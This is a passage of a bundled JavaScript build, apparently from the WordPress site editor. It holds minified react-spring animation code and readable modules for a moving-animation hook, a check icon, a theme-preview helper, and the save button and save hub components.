Map,onChange:new Map,onRest:new Map};constructor(e,n){this._onFrame=this._onFrame.bind(this),n&&(this._flush=n),e&&this.start({default:!0,...e})}get idle(){return!this._state.asyncTo&&Object.values(this.springs).every(e=>e.idle&&!e.isDelayed&&!e.isPaused)}get item(){return this._item}set item(e){this._item=e}get(){let e={};return this.each((n,r)=>e[r]=n.get()),e}set(e){for(let n in e){let r=e[n];dist_esm_l.und(r)||this.springs[n].set(r)}}update(e){return e&&this.queue.push(esm_Pe(e)),this}start(e){let{queue:n}=this;return e?n=ht(e).map(esm_Pe):this.queue=[],this._flush?this._flush(this,n):(jt(this,n),esm_ze(this,n))}stop(e,n){if(e!==!!e&&(n=e),n){let r=this.springs;esm_Ve(ht(n),o=>r[o].stop(!!e))}else esm_oe(this._state,this._lastAsyncId),this.each(r=>r.stop(!!e));return this}pause(e){if(dist_esm_l.und(e))this.start({pause:!0});else{let n=this.springs;esm_Ve(ht(e),r=>n[r].pause())}return this}resume(e){if(dist_esm_l.und(e))this.start({pause:!1});else{let n=this.springs;esm_Ve(ht(e),r=>n[r].resume())}return this}each(e){xt(this.springs,e)}_onFrame(){let{onStart:e,onChange:n,onRest:r}=this._events,o=this._active.size>0,s=this._changed.size>0;(o&&!this._started||s&&!this._started)&&(this._started=!0,Pe(e,([u,p])=>{p.value=this.get(),u(p,this,this._item)}));let a=!o&&this._started,i=s||a&&r.size?this.get():null;s&&n.size&&Pe(n,([u,p])=>{p.value=i,u(p,this,this._item)}),a&&(this._started=!1,Pe(r,([u,p])=>{p.value=i,u(p,this,this._item)}))}eventObserved(e){if(e.type=="change")this._changed.add(e.parent),e.idle||this._active.add(e.parent);else if(e.type=="idle")this._active.delete(e.parent);else return;esm_n.onFrame(this._onFrame)}};function esm_ze(t,e){return Promise.all(e.map(n=>wt(t,n))).then(n=>esm_be(t,n))}async function wt(t,e,n){let{keys:r,to:o,from:s,loop:a,onRest:i,onResolve:u}=e,p=dist_esm_l.obj(e.default)&&e.default;a&&(e.loop=!1),o===!1&&(e.to=null),s===!1&&(e.from=null);let f=dist_esm_l.arr(o)||dist_esm_l.fun(o)?o:void 0;f?(e.to=void 0,e.onRest=void 0,p&&(p.onRest=void 0)):esm_Ve(Fn,P=>{let l=e[P];if(dist_esm_l.fun(l)){let h=t._events[P];e[P]=({finished:g,cancelled:x})=>{let S=h.get(l);S?(g||(S.finished=!1),x&&(S.cancelled=!0)):h.set(l,{value:null,finished:g||!1,cancelled:x||!1})},p&&(p[P]=e[P])}});let d=t._state;e.pause===!d.paused?(d.paused=e.pause,yt(e.pause?d.pauseQueue:d.resumeQueue)):d.paused&&(e.pause=!0);let m=(r||Object.keys(t.springs)).map(P=>t.springs[P].start(e)),b=e.cancel===!0||esm_ke(e,"cancel")===!0;(f||b&&d.asyncId)&&m.push(esm_Me(++t._lastAsyncId,{props:e,state:d,actions:{pause:Y,resume:Y,start(P,l){b?(esm_oe(d,t._lastAsyncId),l(esm_q(t))):(P.onRest=i,l(esm_De(f,P,d,t)))}}})),d.paused&&await new Promise(P=>{d.resumeQueue.add(P)});let c=esm_be(t,await Promise.all(m));if(a&&c.finished&&!(n&&c.noop)){let P=at(e,a,o);if(P)return jt(t,[P]),wt(t,P,!0)}return u&&esm_n.batchedUpdates(()=>u(c,t,t.item)),c}function esm_e(t,e){let n={...t.springs};return e&&pe(Ve(e),r=>{z.und(r.keys)&&(r=esm_Pe(r)),z.obj(r.to)||(r={...r,to:void 0}),Mt(n,r,o=>esm_Lt(o))}),pt(t,n),n}function pt(t,e){Ut(e,(n,r)=>{t.springs[r]||(t.springs[r]=n,Et(n,t))})}function esm_Lt(t,e){let n=new esm_ue;return n.key=t,e&&Gt(n,e),n}function Mt(t,e,n){e.keys&&esm_Ve(e.keys,r=>{(t[r]||(t[r]=n(r)))._prepareNode(e)})}function jt(t,e){esm_Ve(e,n=>{Mt(t.springs,n,r=>esm_Lt(r,t))})}var dist_esm_H=({children:t,...e})=>{let n=(0,external_React_.useContext)(esm_Ge),r=e.pause||!!n.pause,o=e.immediate||!!n.immediate;e=Lr(()=>({pause:r,immediate:o}),[r,o]);let{Provider:s}=esm_Ge;return external_React_.createElement(s,{value:e},t)},esm_Ge=wn(dist_esm_H,{});dist_esm_H.Provider=esm_Ge.Provider;dist_esm_H.Consumer=esm_Ge.Consumer;function wn(t,e){return Object.assign(t,external_React_.createContext(e)),t.Provider._context=t,t.Consumer._context=t,t}var esm_fe=()=>{let t=[],e=function(r){Ln();let o=[];return ce(t,(s,a)=>{if(Ke.und(r))o.push(s.start());else{let i=n(r,s,a);i&&o.push(s.start(i))}}),o};e.current=t,e.add=function(r){t.includes(r)||t.push(r)},e.delete=function(r){let o=t.indexOf(r);~o&&t.splice(o,1)},e.pause=function(){return ce(t,r=>r.pause(...arguments)),this},e.resume=function(){return ce(t,r=>r.resume(...arguments)),this},e.set=function(r){ce(t,(o,s)=>{let a=Ke.fun(r)?r(s,o):r;a&&o.set(a)})},e.start=function(r){let o=[];return ce(t,(s,a)=>{if(Ke.und(r))o.push(s.start());else{let i=this._getProps(r,s,a);i&&o.push(s.start(i))}}),o},e.stop=function(){return ce(t,r=>r.stop(...arguments)),this},e.update=function(r){return ce(t,(o,s)=>o.update(this._getProps(r,o,s))),this};let n=function(r,o,s){return Ke.fun(r)?r(s,o):r};return e._getProps=n,e};function esm_He(t,e,n){let r=jn.fun(e)&&e;r&&!n&&(n=[]);let o=Xe(()=>r||arguments.length==3?esm_fe():void 0,[]),s=Nt(0),a=Dn(),i=Xe(()=>({ctrls:[],queue:[],flush(h,g){let x=esm_e(h,g);return s.current>0&&!i.queue.length&&!Object.keys(x).some(A=>!h.springs[A])?esm_ze(h,g):new Promise(A=>{pt(h,x),i.queue.push(()=>{A(esm_ze(h,g))}),a()})}}),[]),u=Nt([...i.ctrls]),p=[],f=Dt(t)||0;Xe(()=>{Ye(u.current.slice(t,f),h=>{esm_xe(h,o),h.stop(!0)}),u.current.length=t,d(f,t)},[t]),Xe(()=>{d(0,Math.min(f,t))},n);function d(h,g){for(let x=h;x<g;x++){let S=u.current[x]||(u.current[x]=new esm_le(null,i.flush)),A=r?r(x,S):e[x];A&&(p[x]=Ot(A))}}let m=u.current.map((h,g)=>esm_e(h,p[g])),b=Mn(dist_esm_H),c=Dt(b),P=b!==c&&esm_Ue(b);qn(()=>{s.current++,i.ctrls=u.current;let{queue:h}=i;h.length&&(i.queue=[],Ye(h,g=>g())),Ye(u.current,(g,x)=>{o?.add(g),P&&g.start({default:b});let S=p[x];S&&(esm_he(g,S.ref),g.ref?g.queue.push(S):g.start(S))})}),Nn(()=>()=>{Ye(i.ctrls,h=>h.stop(!0))});let l=m.map(h=>({...h}));return o?[l,o]:l}function esm_J(t,e){let n=Qn.fun(t),[[r],o]=esm_He(1,n?t:[t],n?e||[]:e);return n||arguments.length==2?[r,o]:r}var Gn=()=>esm_fe(),Xo=()=>zn(Gn)[0];var Wo=(t,e)=>{let n=Bn(()=>new esm_ue(t,e));return Kn(()=>()=>{n.stop()}),n};function esm_Qt(t,e,n){let r=qt.fun(e)&&e;r&&!n&&(n=[]);let o=!0,s,a=esm_He(t,(i,u)=>{let p=r?r(i,u):e;return s=p.ref,o=o&&p.reverse,p},n||[{}]);if(Yn(()=>{Xn(a[1].current,(i,u)=>{let p=a[1].current[u+(o?1:-1)];if(esm_he(i,s),i.ref){p&&i.update({to:p.springs});return}p?i.start({to:p.springs}):i.start()})},n),r||arguments.length==3){let i=s??a[1];return i._getProps=(u,p,f)=>{let d=qt.fun(u)?u(f,p):u;if(d){let m=i.current[f+(d.reverse?1:-1)];return m&&(d.to=m.springs),d}},a}return a[0]}function esm_Gt(t,e,n){let r=G.fun(e)&&e,{reset:o,sort:s,trail:a=0,expires:i=!0,exitBeforeEnter:u=!1,onDestroyed:p,ref:f,config:d}=r?r():e,m=Jn(()=>r||arguments.length==3?esm_fe():void 0,[]),b=zt(t),c=[],P=lt(null),l=o?null:P.current;Je(()=>{P.current=c}),$n(()=>(j(c,y=>{m?.add(y.ctrl),y.ctrl.ref=m}),()=>{j(P.current,y=>{y.expired&&clearTimeout(y.expirationId),esm_xe(y.ctrl,m),y.ctrl.stop(!0)})}));let h=tr(b,r?r():e,l),g=o&&P.current||[];Je(()=>j(g,({ctrl:y,item:T,key:F})=>{esm_xe(y,m),dist_esm_I(p,T,F)}));let x=[];if(l&&j(l,(y,T)=>{y.expired?(clearTimeout(y.expirationId),g.push(y)):(T=x[T]=h.indexOf(y.key),~T&&(c[T]=y))}),j(b,(y,T)=>{c[T]||(c[T]={key:h[T],item:y,phase:"mount",ctrl:new esm_le},c[T].ctrl.item=y)}),x.length){let y=-1,{leave:T}=r?r():e;j(x,(F,k)=>{let O=l[k];~F?(y=c.indexOf(O),c[y]={...O,item:b[F]}):T&&c.splice(++y,0,O)})}G.fun(s)&&c.sort((y,T)=>s(y.item,T.item));let S=-a,A=Wn(),V=dist_esm_ne(e),_=new Map,v=lt(new Map),w=lt(!1);j(c,(y,T)=>{let F=y.key,k=y.phase,O=r?r():e,U,D,Jt=dist_esm_I(O.delay||0,F);if(k=="mount")U=O.enter,D="enter";else{let M=h.indexOf(F)<0;if(k!="leave")if(M)U=O.leave,D="leave";else if(U=O.update)D="update";else return;else if(!M)U=O.enter,D="enter";else return}if(U=dist_esm_I(U,y.item,T),U=G.obj(U)?esm_de(U):{to:U},!U.config){let M=d||V.config;U.config=dist_esm_I(M,y.item,T,D)}S+=a;let Z={...V,delay:Jt+S,ref:f,immediate:O.immediate,reset:!1,...U};if(D=="enter"&&G.und(Z.from)){let M=r?r():e,Te=G.und(M.initial)||l?M.from:M.initial;Z.from=dist_esm_I(Te,y.item,T)}let{onResolve:Wt}=Z;Z.onResolve=M=>{dist_esm_I(Wt,M);let Te=P.current,B=Te.find(Fe=>Fe.key===F);if(!!B&&!(M.cancelled&&B.phase!="update")&&B.ctrl.idle){let Fe=Te.every(ee=>ee.ctrl.idle);if(B.phase=="leave"){let ee=dist_esm_I(i,B.item);if(ee!==!1){let Ze=ee===!0?0:ee;if(B.expired=!0,!Fe&&Ze>0){Ze<=2147483647&&(B.expirationId=setTimeout(A,Ze));return}}}Fe&&Te.some(ee=>ee.expired)&&(v.current.delete(B),u&&(w.current=!0),A())}};let ft=esm_e(y.ctrl,Z);D==="leave"&&u?v.current.set(y,{phase:D,springs:ft,payload:Z}):_.set(y,{phase:D,springs:ft,payload:Z})});let C=Hn(dist_esm_H),$=Zn(C),L=C!==$&&esm_Ue(C);Je(()=>{L&&j(c,y=>{y.ctrl.start({default:C})})},[C]),j(_,(y,T)=>{if(v.current.size){let F=c.findIndex(k=>k.key===T.key);c.splice(F,1)}}),Je(()=>{j(v.current.size?v.current:_,({phase:y,payload:T},F)=>{let{ctrl:k}=F;F.phase=y,m?.add(k),L&&y=="enter"&&k.start({default:C}),T&&(esm_he(k,T.ref),(k.ref||m)&&!w.current?k.update(T):(k.start(T),w.current&&(w.current=!1)))})},o?void 0:n);let N=y=>Oe.createElement(Oe.Fragment,null,c.map((T,F)=>{let{springs:k}=_.get(T)||T.ctrl,O=y({...k},T.item,T,F);return O&&O.type?Oe.createElement(O.type,{...O.props,key:G.str(T.key)||G.num(T.key)?T.key:T.ctrl.id,ref:O.ref}):O}));return m?[N,m]:N}var esm_er=1;function tr(t,{key:e,keys:n=e},r){if(n===null){let o=new Set;return t.map(s=>{let a=r&&r.find(i=>i.item===s&&i.phase!=="leave"&&!o.has(i));return a?(o.add(a),a.key):esm_er++})}return G.und(n)?t:G.fun(n)?t.map(n):zt(n)}var hs=({container:t,...e}={})=>{let[n,r]=esm_J(()=>({scrollX:0,scrollY:0,scrollXProgress:0,scrollYProgress:0,...e}),[]);return or(()=>{let o=rr(({x:s,y:a})=>{r.start({scrollX:s.current,scrollXProgress:s.progress,scrollY:a.current,scrollYProgress:a.progress})},{container:t?.current||void 0});return()=>{nr(Object.values(n),s=>s.stop()),o()}},[]),n};var Ps=({container:t,...e})=>{let[n,r]=esm_J(()=>({width:0,height:0,...e}),[]);return ar(()=>{let o=sr(({width:s,height:a})=>{r.start({width:s,height:a,immediate:n.width.get()===0||n.height.get()===0})},{container:t?.current||void 0});return()=>{ir(Object.values(n),s=>s.stop()),o()}},[]),n};var cr={any:0,all:1};function Cs(t,e){let[n,r]=pr(!1),o=ur(),s=Bt.fun(t)&&t,a=s?s():{},{to:i={},from:u={},...p}=a,f=s?e:t,[d,m]=esm_J(()=>({from:u,...p}),[]);return lr(()=>{let b=o.current,{root:c,once:P,amount:l="any",...h}=f??{};if(!b||P&&n||typeof IntersectionObserver>"u")return;let g=new WeakMap,x=()=>(i&&m.start(i),r(!0),P?void 0:()=>{u&&m.start(u),r(!1)}),S=V=>{V.forEach(_=>{let v=g.get(_.target);if(_.isIntersecting!==Boolean(v))if(_.isIntersecting){let w=x();Bt.fun(w)?g.set(_.target,w):A.unobserve(_.target)}else v&&(v(),g.delete(_.target))})},A=new IntersectionObserver(S,{root:c&&c.current||void 0,threshold:typeof l=="number"||Array.isArray(l)?l:cr[l],...h});return A.observe(b),()=>A.unobserve(b)},[f]),s?[o,d]:[o,n]}function qs({children:t,...e}){return t(esm_J(e))}function Bs({items:t,children:e,...n}){let r=esm_Qt(t.length,n);return t.map((o,s)=>{let a=e(o,s);return fr.fun(a)?a(r[s]):a})}function Ys({items:t,children:e,...n}){return esm_Gt(t,n)(e)}var esm_W=class extends esm_X{constructor(n,r){super();this.source=n;this.calc=W(...r);let o=this._get(),s=esm_Le(o);esm_D(this,s.create(o))}key;idle=!0;calc;_active=new Set;advance(n){let r=this._get(),o=this.get();bt(r,o)||(dist_esm_k(this).setValue(r),this._onChange(r,this.idle)),!this.idle&&Yt(this._active)&&esm_ct(this)}_get(){let n=dist_esm_l.arr(this.source)?this.source.map(ve):ht(ve(this.source));return this.calc(...n)}_start(){this.idle&&!Yt(this._active)&&(this.idle=!1,esm_Ve(F(this),n=>{n.done=!1}),dist_esm_p.skipAnimation?(esm_n.batchedUpdates(()=>this.advance()),esm_ct(this)):qe.start(this))}_attach(){let n=1;esm_Ve(ht(this.source),r=>{Pt(r)&&Gt(r,this),esm_Re(r)&&(r.idle||this._active.add(r),n=Math.max(n,r.priority+1))}),this.priority=n,this._start()}_detach(){esm_Ve(ht(this.source),n=>{Pt(n)&&Qt(n,this)}),this._active.clear(),esm_ct(this)}eventObserved(n){n.type=="change"?n.idle?this.advance():(this._active.add(n.parent),this._start()):n.type=="idle"?this._active.delete(n.parent):n.type=="priority"&&(this.priority=ht(this.source).reduce((r,o)=>Math.max(r,(esm_Re(o)?o.priority:0)+1),0))}};function vr(t){return t.idle!==!1}function Yt(t){return!t.size||Array.from(t).every(vr)}function esm_ct(t){t.idle||(t.idle=!0,esm_Ve(F(t),e=>{e.done=!0}),$t(t,{type:"idle",parent:t}))}var ui=(t,...e)=>new esm_W(t,e),pi=(t,...e)=>(Cr(),new esm_W(t,e));dist_esm_p.assign({createStringInterpolator:Xt,to:(t,e)=>new esm_W(t,e)});var di=qe.advance;

;// external "ReactDOM"
const external_ReactDOM_namespaceObject = window["ReactDOM"];
;// ./node_modules/@react-spring/web/dist/esm/index.js
var web_dist_esm_k=/^--/;function web_dist_esm_I(t,e){return e==null||typeof e=="boolean"||e===""?"":typeof e=="number"&&e!==0&&!web_dist_esm_k.test(t)&&!(web_dist_esm_c.hasOwnProperty(t)&&web_dist_esm_c[t])?e+"px":(""+e).trim()}var web_dist_esm_v={};function esm_V(t,e){if(!t.nodeType||!t.setAttribute)return!1;let r=t.nodeName==="filter"||t.parentNode&&t.parentNode.nodeName==="filter",{style:i,children:s,scrollTop:u,scrollLeft:l,viewBox:a,...n}=e,d=Object.values(n),m=Object.keys(n).map(o=>r||t.hasAttribute(o)?o:web_dist_esm_v[o]||(web_dist_esm_v[o]=o.replace(/([A-Z])/g,p=>"-"+p.toLowerCase())));s!==void 0&&(t.textContent=s);for(let o in i)if(i.hasOwnProperty(o)){let p=web_dist_esm_I(o,i[o]);web_dist_esm_k.test(o)?t.style.setProperty(o,p):t.style[o]=p}m.forEach((o,p)=>{t.setAttribute(o,d[p])}),u!==void 0&&(t.scrollTop=u),l!==void 0&&(t.scrollLeft=l),a!==void 0&&t.setAttribute("viewBox",a)}var web_dist_esm_c={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},esm_F=(t,e)=>t+e.charAt(0).toUpperCase()+e.substring(1),esm_L=["Webkit","Ms","Moz","O"];web_dist_esm_c=Object.keys(web_dist_esm_c).reduce((t,e)=>(esm_L.forEach(r=>t[esm_F(r,e)]=t[e]),t),web_dist_esm_c);var esm_=/^(matrix|translate|scale|rotate|skew)/,dist_esm_$=/^(translate)/,dist_esm_G=/^(rotate|skew)/,web_dist_esm_y=(t,e)=>dist_esm_l.num(t)&&t!==0?t+e:t,web_dist_esm_h=(t,e)=>dist_esm_l.arr(t)?t.every(r=>web_dist_esm_h(r,e)):dist_esm_l.num(t)?t===e:parseFloat(t)===e,dist_esm_g=class extends animated_dist_esm_u{constructor({x:e,y:r,z:i,...s}){let u=[],l=[];(e||r||i)&&(u.push([e||0,r||0,i||0]),l.push(a=>[`translate3d(${a.map(n=>web_dist_esm_y(n,"px")).join(",")})`,web_dist_esm_h(a,0)])),xt(s,(a,n)=>{if(n==="transform")u.push([a||""]),l.push(d=>[d,d===""]);else if(esm_.test(n)){if(delete s[n],dist_esm_l.und(a))return;let d=dist_esm_$.test(n)?"px":dist_esm_G.test(n)?"deg":"";u.push(ht(a)),l.push(n==="rotate3d"?([m,o,p,O])=>[`rotate3d(${m},${o},${p},${web_dist_esm_y(O,d)})`,web_dist_esm_h(O,0)]:m=>[`${n}(${m.map(o=>web_dist_esm_y(o,d)).join(",")})`,web_dist_esm_h(m,n.startsWith("scale")?1:0)])}}),u.length&&(s.transform=new web_dist_esm_x(u,l)),super(s)}},web_dist_esm_x=class extends esm_ge{constructor(r,i){super();this.inputs=r;this.transforms=i}_value=null;get(){return this._value||(this._value=this._get())}_get(){let r="",i=!0;return esm_Ve(this.inputs,(s,u)=>{let l=ve(s[0]),[a,n]=this.transforms[u](dist_esm_l.arr(l)?l:s.map(ve));r+=" "+a,i=i&&n}),i?"none":r}observerAdded(r){r==1&&esm_Ve(this.inputs,i=>esm_Ve(i,s=>Pt(s)&&Gt(s,this)))}observerRemoved(r){r==0&&esm_Ve(this.inputs,i=>esm_Ve(i,s=>Pt(s)&&Qt(s,this)))}eventObserved(r){r.type=="change"&&(this._value=null),$t(this,r)}};var esm_C=["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","tspan"];dist_esm_p.assign({batchedUpdates:external_ReactDOM_namespaceObject.unstable_batchedUpdates,createStringInterpolator:Xt,colors:It});var dist_esm_q=dist_esm_Ke(esm_C,{applyAnimatedValues:esm_V,createAnimatedStyle:t=>new dist_esm_g(t),getComponentProps:({scrollTop:t,scrollLeft:e,...r})=>r}),dist_esm_it=dist_esm_q.animated;

;// ./node_modules/@wordpress/edit-site/build-module/components/layout/animation.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */

function getAbsolutePosition(element) {
  return {
    top: element.offsetTop,
    left: element.offsetLeft
  };
}
const ANIMATION_DURATION = 400;

/**
 * Hook used to compute the styles required to move a div into a new position.
 *
 * The way this animation works is the following:
 *  - It first renders the element as if there was no animation.
 *  - It takes a snapshot of the position of the block to use it
 *    as a destination point for the animation.
 *  - It restores the element to the previous position using a CSS transform
 *  - It uses the "resetAnimation" flag to reset the animation
 *    from the beginning in order to animate to the new destination point.
 *
 * @param {Object} $1                          Options
 * @param {*}      $1.triggerAnimationOnChange Variable used to trigger the animation if it changes.
 */
function useMovingAnimation({
  triggerAnimationOnChange
}) {
  const ref = (0,external_wp_element_namespaceObject.useRef)();

  // Whenever the trigger changes, we need to take a snapshot of the current
  // position of the block to use it as a destination point for the animation.
  const {
    previous,
    prevRect
  } = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    previous: ref.current && getAbsolutePosition(ref.current),
    prevRect: ref.current && ref.current.getBoundingClientRect()
  }), [triggerAnimationOnChange]);
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    if (!previous || !ref.current) {
      return;
    }

    // We disable the animation if the user has a preference for reduced
    // motion.
    const disableAnimation = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
    if (disableAnimation) {
      return;
    }
    const controller = new esm_le({
      x: 0,
      y: 0,
      width: prevRect.width,
      height: prevRect.height,
      config: {
        duration: ANIMATION_DURATION,
        easing: Lt.easeInOutQuint
      },
      onChange({
        value
      }) {
        if (!ref.current) {
          return;
        }
        let {
          x,
          y,
          width,
          height
        } = value;
        x = Math.round(x);
        y = Math.round(y);
        width = Math.round(width);
        height = Math.round(height);
        const finishedMoving = x === 0 && y === 0;
        ref.current.style.transformOrigin = 'center center';
        ref.current.style.transform = finishedMoving ? null // Set to `null` to explicitly remove the transform.
        : `translate3d(${x}px,${y}px,0)`;
        ref.current.style.width = finishedMoving ? null : `${width}px`;
        ref.current.style.height = finishedMoving ? null : `${height}px`;
      }
    });
    ref.current.style.transform = undefined;
    const destination = ref.current.getBoundingClientRect();
    const x = Math.round(prevRect.left - destination.left);
    const y = Math.round(prevRect.top - destination.top);
    const width = destination.width;
    const height = destination.height;
    controller.start({
      x: 0,
      y: 0,
      width,
      height,
      from: {
        x,
        y,
        width: prevRect.width,
        height: prevRect.height
      }
    });
    return () => {
      controller.stop();
      controller.set({
        x: 0,
        y: 0,
        width: prevRect.width,
        height: prevRect.height
      });
    };
  }, [previous, prevRect]);
  return ref;
}
/* harmony default export */ const animation = (useMovingAnimation);

;// ./node_modules/@wordpress/icons/build-module/library/check.js
/**
 * WordPress dependencies
 */


const check = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"
  })
});
/* harmony default export */ const library_check = (check);

;// ./node_modules/@wordpress/edit-site/build-module/utils/is-previewing-theme.js
/**
 * WordPress dependencies
 */

function isPreviewingTheme() {
  return !!(0,external_wp_url_namespaceObject.getQueryArg)(window.location.href, 'wp_theme_preview');
}
function currentlyPreviewingTheme() {
  if (isPreviewingTheme()) {
    return (0,external_wp_url_namespaceObject.getQueryArg)(window.location.href, 'wp_theme_preview');
  }
  return null;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/save-button/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */




const {
  useLocation: save_button_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function SaveButton({
  className = 'edit-site-save-button__button',
  variant = 'primary',
  showTooltip = true,
  showReviewMessage,
  icon,
  size,
  __next40pxDefaultSize = false
}) {
  const {
    params
  } = save_button_useLocation();
  const {
    setIsSaveViewOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    saveDirtyEntities
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store));
  const {
    dirtyEntityRecords
  } = (0,external_wp_editor_namespaceObject.useEntitiesSavedStatesIsDirty)();
  const {
    isSaving,
    isSaveViewOpen,
    previewingThemeName
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isSavingEntityRecord,
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      isSaveViewOpened
    } = select(store);
    const isActivatingTheme = isResolving('activateTheme');
    const currentlyPreviewingThemeId = currentlyPreviewingTheme();
    return {
      isSaving: dirtyEntityRecords.some(record => isSavingEntityRecord(record.kind, record.name, record.key)) || isActivatingTheme,
      isSaveViewOpen: isSaveViewOpened(),
      // Do not call `getTheme` with null, it will cause a request to
      // the server.
      previewingThemeName: currentlyPreviewingThemeId ? select(external_wp_coreData_namespaceObject.store).getTheme(currentlyPreviewingThemeId)?.name?.rendered : undefined
    };
  }, [dirtyEntityRecords]);
  const hasDirtyEntities = !!dirtyEntityRecords.length;
  let isOnlyCurrentEntityDirty;
  // Check if the current entity is the only entity with changes.
  // We have some extra logic for `wp_global_styles` for now, that
  // is used in navigation sidebar.
  if (dirtyEntityRecords.length === 1) {
    if (params.postId) {
      isOnlyCurrentEntityDirty = `${dirtyEntityRecords[0].key}` === params.postId && dirtyEntityRecords[0].name === params.postType;
    } else if (params.path?.includes('wp_global_styles')) {
      isOnlyCurrentEntityDirty = dirtyEntityRecords[0].name === 'globalStyles';
    }
  }
  const disabled = isSaving || !hasDirtyEntities && !isPreviewingTheme();
  const getLabel = () => {
    if (isPreviewingTheme()) {
      if (isSaving) {
        return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The name of theme to be activated. */
        (0,external_wp_i18n_namespaceObject.__)('Activating %s'), previewingThemeName);
      } else if (disabled) {
        return (0,external_wp_i18n_namespaceObject.__)('Saved');
      } else if (hasDirtyEntities) {
        return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The name of theme to be activated. */
        (0,external_wp_i18n_namespaceObject.__)('Activate %s & Save'), previewingThemeName);
      }
      return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: The name of theme to be activated. */
      (0,external_wp_i18n_namespaceObject.__)('Activate %s'), previewingThemeName);
    }
    if (isSaving) {
      return (0,external_wp_i18n_namespaceObject.__)('Saving');
    }
    if (disabled) {
      return (0,external_wp_i18n_namespaceObject.__)('Saved');
    }
    if (!isOnlyCurrentEntityDirty && showReviewMessage) {
      return (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %d: number of unsaved changes (number).
      (0,external_wp_i18n_namespaceObject._n)('Review %d change…', 'Review %d changes…', dirtyEntityRecords.length), dirtyEntityRecords.length);
    }
    return (0,external_wp_i18n_namespaceObject.__)('Save');
  };
  const label = getLabel();
  const onClick = isOnlyCurrentEntityDirty ? () => saveDirtyEntities({
    dirtyEntityRecords
  }) : () => setIsSaveViewOpened(true);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    variant: variant,
    className: className,
    "aria-disabled": disabled,
    "aria-expanded": isSaveViewOpen,
    isBusy: isSaving,
    onClick: disabled ? undefined : onClick,
    label: label
    /*
     * We want the tooltip to show the keyboard shortcut only when the
     * button does something, i.e. when it's not disabled.
     */,
    shortcut: disabled ? undefined : external_wp_keycodes_namespaceObject.displayShortcut.primary('s')
    /*
     * Displaying the keyboard shortcut conditionally makes the tooltip
     * itself show conditionally. This would trigger a full-rerendering
     * of the button that we want to avoid. By setting `showTooltip`,
     * the tooltip is always rendered even when there's no keyboard shortcut.
     */,
    showTooltip: showTooltip,
    icon: icon,
    __next40pxDefaultSize: __next40pxDefaultSize,
    size: size,
    children: label
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/save-hub/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



function SaveHub() {
  const {
    isDisabled,
    isSaving
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      __experimentalGetDirtyEntityRecords,
      isSavingEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
    const _isSaving = dirtyEntityRecords.some(record => isSavingEntityRecord(record.kind, record.name, record.key));
    return {
      isSaving: _isSaving,
      isDisabled: _isSaving || !dirtyEntityRecords.length && !isPreviewingTheme()
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
    className: "edit-site-save-hub",
    alignment: "right",
    spacing: 4,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveButton, {
      className: "edit-site-save-hub__button",
      variant: isDisabled ? null : 'primary',
      showTooltip: false,
      icon: isDisabled && !isSaving ? library_check : null,
      showReviewMessage: true,
      __next40pxDefaultSize: true
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/utils/use-activate-theme.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */


const {
  useHistory: use_activate_theme_useHistory,
